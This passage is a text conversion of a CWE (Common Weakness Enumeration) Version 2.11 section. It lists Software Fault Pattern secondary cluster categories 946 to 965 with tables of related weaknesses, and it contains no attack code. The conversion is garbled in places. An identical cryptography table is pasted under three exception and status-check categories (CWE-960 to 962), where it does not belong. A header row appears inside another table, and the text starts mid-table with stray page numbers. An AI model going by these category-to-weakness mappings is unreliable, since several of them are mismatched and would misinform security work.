<td>899</td>
<td>SFP Primary Cluster: Access Control</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>285</td>
<td>Improper Authorization</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>424</td>
<td>Improper Protection of Alternate Path</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>639</td>
<td>Authorization Bypass Through User-Controlled Key</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>650</td>
<td>Trusting HTTP Permission Methods on the Server Side</td>
<td>888</td>
</tr>
</tbody>
</table>

### CWE-946: SFP Secondary Cluster: Insecure Resource Permissions

**Category ID:** 946 (Category)  
**Status:** Incomplete

**Description**

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>899</td>
<td>SFP Primary Cluster: Access Control</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>276</td>
<td>Incorrect Default Permissions</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>277</td>
<td>Insecure Inherited Permissions</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>278</td>
<td>Insecure Preserved Inherited Permissions</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-947: SFP Secondary Cluster: Authentication Bypass

Category ID: 947 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888 1330</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>279</td>
<td>Incorrect Execution-Assigned Permissions</td>
<td>888 495</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>281</td>
<td>Improper Preservation of Permissions</td>
<td>888 497</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>560</td>
<td>Use of umask() with chmod-style Argument</td>
<td>888 897</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>888 1124</td>
</tr>
</tbody>
</table>

CWE-948: SFP Secondary Cluster: Digital Certificate

Category ID: 948 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888 1330</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>296</td>
<td>Improper Following of a Certificate's Chain of Trust</td>
<td>888 525</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>297</td>
<td>Improper Validation of Certificate with Host Mismatch</td>
<td>888 526</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>298</td>
<td>Improper Validation of Certificate Expiration</td>
<td>888 528</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>299</td>
<td>Improper Check for Certificate Revocation</td>
<td>888 530</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>593</td>
<td>Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created</td>
<td>888 935</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>599</td>
<td>Missing Validation of OpenSSL Certificate</td>
<td>888 942</td>
</tr>
</tbody>
</table>

CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication

Category ID: 949 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888 1330</td>
</tr>
</tbody>
</table>
CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data

Category ID: 950 (Category)
Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>258</td>
<td>Empty Password in Configuration File</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>547</td>
<td>Use of Hard-coded, Security-relevant Constants</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-951: SFP Secondary Cluster: Insecure Authentication Policy

Category ID: 951 (Category)
Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>262</td>
<td>Not Using Password Aging</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>263</td>
<td>Password Aging with Long Expiration</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>521</td>
<td>Weak Password Requirements</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>556</td>
<td>ASP.NET Misconfiguration: Use of Identity Impersonation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>613</td>
<td>Insufficient Session Expiration</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>645</td>
<td>Overly Restrictive Account Lockout Mechanism</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-952: SFP Secondary Cluster: Missing Authentication

Category ID: 952 (Category)
Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.
CWE Version 2.11
CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>306</td>
<td>Missing Authentication for Critical Function</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>620</td>
<td>Unverified Password Change</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication

Category ID: 953 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>422</td>
<td>Unprotected Windows Messaging Channel ('Shatter')</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port

Category ID: 954 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>605</td>
<td>Multiple Binds to the Same Port</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-955: SFP Secondary Cluster: Unrestricted Authentication

Category ID: 955 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-956: SFP Secondary Cluster: Channel Attack

Category ID: 956 (Category)  Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.
CWE Version 2.11

CWE-957: SFP Secondary Cluster: Protocol Error

Category ID: 957 (Category)  Status: Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>902</td>
<td>SFP Primary Cluster: Channel</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>294</td>
<td>Authentication Bypass by Capture-replay</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>300</td>
<td>Channel Accessible by Non-Endpoint ('Man-in-the-Middle')</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>301</td>
<td>Reflection Attack in an Authentication Protocol</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>419</td>
<td>Unprotected Primary Channel</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>420</td>
<td>Unprotected Alternate Channel</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>421</td>
<td>Race Condition During Access to Alternate Channel</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-958: SFP Secondary Cluster: Broken Cryptography

Category ID: 958 (Category)  Status: Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>903</td>
<td>SFP Primary Cluster: Cryptography</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>328</td>
<td>Reversible One-Way Hash</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>759</td>
<td>Use of a One-Way Hash without a Salt</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>760</td>
<td>Use of a One-Way Hash with a Predictable Salt</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-959: SFP Secondary Cluster: Weak Cryptography

Category ID: 959 (Category)  Status: Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>903</td>
<td>SFP Primary Cluster: Cryptography</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>261</td>
<td>Weak Cryptography for Passwords</td>
<td>888</td>
</tr>
</tbody>
</table>

1379
## CWE-960: SFP Secondary Cluster: Ambiguous Exception Type

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
<td>888</td>
</tr>
</tbody>
</table>

### Description

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>889</td>
<td>SFP Primary Cluster: Exception Management</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
<td>888</td>
</tr>
</tbody>
</table>

## CWE-961: SFP Secondary Cluster: Incorrect Exception Behavior

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
<td>888</td>
</tr>
</tbody>
</table>

### Description

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>889</td>
<td>SFP Primary Cluster: Exception Management</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
<td>888</td>
</tr>
</tbody>
</table>

## CWE-962: SFP Secondary Cluster: Unchecked Status Condition

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
<td>888</td>
</tr>
</tbody>
</table>

### Description

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster.
CWE-963: SFP Secondary Cluster: Exposed Data

Category ID: 963 (Category)  Status: Incomplete

Description

This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster.

Relationships

CWE-963: SFP Secondary Cluster: Exposed Data

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>895</td>
<td>SFP Primary Cluster: Information Leak</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>5</td>
<td>J2EE Misconfiguration: Data Transmission Without Encryption</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>7</td>
<td>J2EE Misconfiguration: Missing Custom Error Page</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>8</td>
<td>J2EE Misconfiguration: Entity Bean Declared Remote</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>11</td>
<td>ASP.NET Misconfiguration: Creating Debug Binary</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>12</td>
<td>ASP.NET Misconfiguration: Missing Custom Error Page</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>13</td>
<td>ASP.NET Misconfiguration: Password in Configuration File</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>117</td>
<td>Improper Output Neutralization for Logs</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>200</td>
<td>Information Exposure</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>201</td>
<td>Information Exposure Through Sent Data</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>211</td>
<td>Information Exposure Through Externally-generated Error Message</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>213</td>
<td>Intentional Information Exposure</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>214</td>
<td>Information Exposure Through Process Environment</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>215</td>
<td>Information Exposure Through Debug Information</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>219</td>
<td>Sensitive Data Under Web Root</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>220</td>
<td>Sensitive Data Under FTP Root</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td>888</td>
</tr>
<tr>
<td>Nature</td>
<td>Type</td>
<td>ID</td>
<td>Name</td>
<td>Page</td>
</tr>
<tr>
<td>--------</td>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
<td>------</td>
</tr>
<tr>
<td>ParentOf</td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
<td>888 435</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>256</td>
<td>Plaintext Storage of a Password</td>
<td>888 455</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>257</td>
<td>Storing Passwords in a Recoverable Format</td>
<td>888 457</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>260</td>
<td>Password in Configuration File</td>
<td>888 464</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>888 549</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
<td>888 555</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>313</td>
<td>Cleartext Storage in a File or on Disk</td>
<td>888 557</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>314</td>
<td>Cleartext Storage in the Registry</td>
<td>888 559</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>315</td>
<td>Cleartext Storage of Sensitive Information in a Cookie</td>
<td>888 559</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>316</td>
<td>Cleartext Storage of Sensitive Information in Memory</td>
<td>888 560</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>317</td>
<td>Cleartext Storage of Sensitive Information in GUI</td>
<td>888 561</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>318</td>
<td>Cleartext Storage of Sensitive Information in Executable</td>
<td>888 562</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
<td>888 563</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
<td>888 653</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
<td>888 655</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>402</td>
<td>Transmission of Private Resources into a New Sphere ('Resource Leak')</td>
<td>888 698</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>403</td>
<td>Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')</td>
<td>888 698</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>433</td>
<td>Unparsed Raw Web Content Delivery</td>
<td>888 743</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
<td>888 840</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>497</td>
<td>Exposure of System Data to an Unauthorized Control Sphere</td>
<td>888 842</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
<td>888 844</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>499</td>
<td>Serializable Class Containing Sensitive Data</td>
<td>888 845</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>501</td>
<td>Trust Boundary Violation</td>
<td>888 845</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>888 865</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>523</td>
<td>Unprotected Transport of Credentials</td>
<td>888 868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>526</td>
<td>Information Exposure Through Environmental Variables</td>
<td>888 871</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>527</td>
<td>Exposure of CVS Repository to an Unauthorized Control Sphere</td>
<td>888 871</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>528</td>
<td>Exposure of Core Dump File to an Unauthorized Control Sphere</td>
<td>888 872</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>529</td>
<td>Exposure of Access Control List Files to an Unauthorized Control Sphere</td>
<td>888 873</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>530</td>
<td>Exposure of Backup File to an Unauthorized Control Sphere</td>
<td>888 873</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
<td>888 875</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>533</td>
<td>Information Exposure Through Server Log Files</td>
<td>888 876</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>534</td>
<td>Information Exposure Through Debug Log Files</td>
<td>888 877</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>535</td>
<td>Information Exposure Through Shell Error Message</td>
<td>888 877</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>536</td>
<td>Information Exposure Through Servlet Runtime Error Message</td>
<td>888 878</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>537</td>
<td>Information Exposure Through Java Runtime Error Message</td>
<td>888 879</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>538</td>
<td>File and Directory Information Exposure</td>
<td>888 880</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>539</td>
<td>Information Exposure Through Persistent Cookies</td>
<td>888 882</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>540</td>
<td>Information Exposure Through Source Code</td>
<td>888 882</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>541</td>
<td>Information Exposure Through Include Source Code</td>
<td>888 883</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>542</td>
<td>Information Exposure Through Cleanup Log Files</td>
<td>888 884</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>546</td>
<td>Suspicious Comment</td>
<td>888 887</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>548</td>
<td>Information Exposure Through Directory Listing</td>
<td>888 889</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>550</td>
<td>Information Exposure Through Server Error Message</td>
<td>888 890</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
<td>888 892</td>
<td></td>
</tr>
</tbody>
</table>
### CWE-964: SFP Secondary Cluster: Exposure Temporary File

**Category ID:** 964  
**Status:** Incomplete

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>895</td>
<td>SFP Primary Cluster: Information Leak</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>377</td>
<td>Insecure Temporary File</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>378</td>
<td>Creation of Temporary File With Insecure Permissions</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>379</td>
<td>Creation of Temporary File in Directory with Incorrect Permissions</td>
<td>888</td>
</tr>
</tbody>
</table>

### CWE-965: SFP Secondary Cluster: Insecure Session Management

**Category ID:** 965  
**Status:** Incomplete

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>895</td>
<td>SFP Primary Cluster: Information Leak</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>6</td>
<td>J2EE Misconfiguration: Insufficient Session-ID Length</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
